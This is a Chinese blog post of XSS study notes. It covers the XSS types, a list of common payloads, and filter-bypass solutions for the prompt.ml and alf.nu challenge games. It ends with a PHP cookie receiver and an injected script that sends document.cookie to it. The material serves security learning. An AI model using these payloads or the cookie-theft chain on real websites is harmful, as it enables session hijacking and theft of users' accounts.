• 存储型 、反射型、DOM 型这是最常见的三种分类:

存储型
存储型XSS也叫持久型XSS,存储的意思就是Payload是有经过存储的,当一个页面存在存储型XSS的时候,XSS注入成功后,那么每次访问该页面都将触发XSS,典型的例子是:
如留言板
1. 插入留言=>内容存储到数据库
2. 查看留言=>内容从数据库提取出来
3. 内容在页面显示
如果这里存在XSS,Payload可以通过留言内容提交,然后显示在页面的时候可以生效,那么就是典型的存储型XSS。
反射型
反射型XSS也叫非持久型XSS,最常见的是Payload是构造在网址的某个GET参数的值里。 
DOM 型
其实DOM型也属于反射型的一种,不过比较特殊,所以一般也当做一种单独类型
DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的
Xss 常用语句
<script>alert(/xss/)</script>
<script>alert(xss)</script>
<syn/onload=alert(1)>
<body onload = alert('test1')>
<img src =“http://url.to.file.which/not.exist”onerror = alert(document.cookie);
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
可以插入xss的元素:Form,Iframe,Input,Embed, style,object等元素
可以利用的事件:
onClick() (有人点击表格)
onerror() 加载文档,图片,发生错误
onload() 载入窗口
onmousemover()(光标在对象或区域上移动)
onMouseUp() (攻击者需要让用户点击图像

  • Xss 游戏:http://prompt.ml/0
    等级0
    Text Viewer

function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';

Payload: "><svg/onload=prompt(1)// 
等级1
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';

这段含有<>设为空
Payload :<svg/onload=prompt(1) 
注意:最后又回车或空格
等级2
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

过滤等号括号
Payload: <svg><script>prompt(1)</script> 
( 为‘(’html 码
等级3:
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';

Payload:--!> < svg / onload = prompt(1)
等级5
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';

Payload: "type=image src onerror
="prompt(1)
注:对> on开头进行过滤,用事件来触发;正则表达式:无法对多行进去过滤
等级7
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');

Payload: “> < svg / a = #” onload ='/ *#* / prompt(1)'

#做隔断符号,字符个数限制在12个
p class = “ comment ” title = “ ” > < svg / a = “ > </ p> 
<p class = ” comment “ title = ” “ onload ='/ * ” > </ p >
< p class = “ comment ” title = “ * / prompt(1)' ” > </ p >
等级10
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';

Payload: p ' rompt(1)

  • xss游戏 https://alf.nu/alert1

等级1:
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}
Payload=");alert(1)//
等级2:
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
Payload:\");alert(1)//
等级3:
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
Payload: </script><svg/onload=alert(1)>
等级4:
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
payload: %22);alert(1)//
注:href 支持URL ,所以支持URL 编码
等级6
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
Payload: Comment#><iframe onload=alert(1)
等级8
1
2
3 function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
Payload: </script>< iframe onload=&#x61&#x6C&#x65&#x72&#x74(1)>
Js 对大小写敏感 html 不敏感。所以不能写在script内
等级9
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": ''' }[x] || x; 
});
}
Payload: \74 body onload=alert(1)// 
<使用八进制\74替换
等级10
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

Payload: </scrip</scriptt><script>alert(1)//
对</script>转化为空,分成两次就绕过了

  • XSS语句总结:

尽然简短 常用语句:<svg/onload=alert(1)>
闭合语句:"><svg/onload=prompt(1)// 
--!> < svg / onload = prompt(1)
");alert(1)//
绕过正则表达式:加上回车或空格等符号
过滤了等号<script>alert#&40;1)</script>
过滤了< ( 处理方式: 用html码#&40;=’(‘,八进制字符,十六进制字符。
转化成json 字符串,做script闭合: </script><svg/onload=alert(1)>
在连接插入脚本,可以使用URL 编码
把字符变成大写;script对大小写敏感 ,写在标签里,用事件触发:
</script>< iframe onload=&#x61&#x6C&#x65&#x72&#x74(1)>

  • 接收cookie php代码

<?php
$cookie = $_get['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

*接收用户名 密码的 php 代码

插入的语句:

<script>document.location='http://127.0.0.1.cookie.php?cookie=' +document.cookie;<script>

xss 学习(一)的更多相关文章

  1. 第四次:渗透练习,xss学习

    xss学习 一.学习目的 初步了解xss攻击,不包括(DOM类型) 二.附加说明 1.xss介绍 https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/ ...

  2. XSS学习(未完..)

    前言 XSS 漏洞原理非常简单,实际应用中非常灵活,于是通过 prompt(1) to win 来学习学习 正文 工具 分析正则表达式 https://regex101.com/ http://xss ...

  3. PostMessage xss学习和挖掘

    PostMessage xss很有趣,在国外出现了很多次,国内src/众测从没遇到过,挖到过.可能境界还不够,有机会再去试试.好几年前记得心血来潮学过一次,都是半知半解,后来因为重要性不高,不了了之了 ...

  4. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  5. XSS学习笔记(一个)-点击劫持

    所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...

  6. XSS学习笔记(五)-XSS防御

    如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...

  7. 【转载】XSS学习笔记

    XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...

  8. 跨站脚本攻击xss学习

    0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: ...

  9. XSS学习(二)

    尝试操作Cookie 创建一个cookie,需要提供cookie的名字,值,过期时间和相关路径等 <?php setcookie('user_id',123); ?> 它的作用是创建一个c ...

  10. XSS学习(一)

    XSS(一) XSS分类 1.反射型XSS 2.持久性XSS 3.DOM型XSS **** 反射型XSS 也称作非持久型,参数型跨站脚本 主要将Payload附加到URL地址参数中 例如: http: ...

随机推荐

  1. ubuntu 16.04中文输入法安装

    转自: http://blog.csdn.net/u011795345/article/details/53041707 最近刚给笔记本装了Ubuntu+win10双系统,但是ubuntu16.04没 ...

  2. Codeforces Round #512 (Div. 2, based on Technocup 2019 Elimination Round 1) E. Vasya and Good Sequences(DP)

    题目链接:http://codeforces.com/contest/1058/problem/E 题意:给出 n 个数,对于一个选定的区间,区间内的数可以通过重新排列二进制数的位置得到一个新的数,问 ...

  3. 01_初识redis

    1.redis和mysql mysql是一个软件,帮助开发者对一台机器的硬盘进行操作. redis是一个软件,帮助开发者对一台机器的内存进行操作 汽车之家,如果硬盘挂掉了,页面还能访问1个月 关键字: ...

  4. 如何在 Laravel 项目中处理 Excel 文件

    1.Laravel Excel Laravel Excel 是一款基于PHPExcel开发的Laravel框架专用的Excel/CSV 文件导入导出功能的扩展包,用起来的非常方便.它的Github地址 ...

  5. Luogu P4398 [JSOI2008]Blue Mary的战役地图 矩阵哈希

    其实可以二分矩阵边长但是我太懒了$qwq$. 把每个子矩阵扔到$map$里,然后就没了 #include<cstdio> #include<map> #include<i ...

  6. PHP mysqli_real_connect() 函数

    定义和用法mysqli_real_connect() 函数打开一个到 MySQL 服务器的新连接. mysqli_real_connect() 函数与 mysqli_connect() 函数在以下几个 ...

  7. 数论之同余性质 线性同余方程&拔山盖世BSGS&中国剩余定理

    先记录一下一些概念和定理 同余:给定整数a,b,c,若用c不停的去除a和b最终所得余数一样,则称a和b对模c同余,记做a≡b (mod c),同余满足自反性,对称性,传递性 定理1: 若a≡b (mo ...

  8. 分布式缓存Redis之Pipeline(管道)

    Redis的pipeline(管道)功能在命令行中没有,但redis是支持pipeline的,而且在各个语言版的client中都有相应的实现. 由于网络开销延迟,就算redis server端有很强的 ...

  9. 苹果系统OSX中Automator批量重命名

    Automator,看字面意思就无比强大,[自动机器].有什么能比自动还让人着魔? 答案是没有✔ 如果你用的是mac,如果你有一堆文件要重新整理命名,如果你还在Goole什么"批量重命名软件 ...

  10. Leetcode题目78.子集(回溯-中等)

    题目描述: 给定一组不含重复元素的整数数组 nums,返回该数组所有可能的子集(幂集). 说明:解集不能包含重复的子集. 示例: 输入: nums = [1,2,3] 输出: [ [3],   [1] ...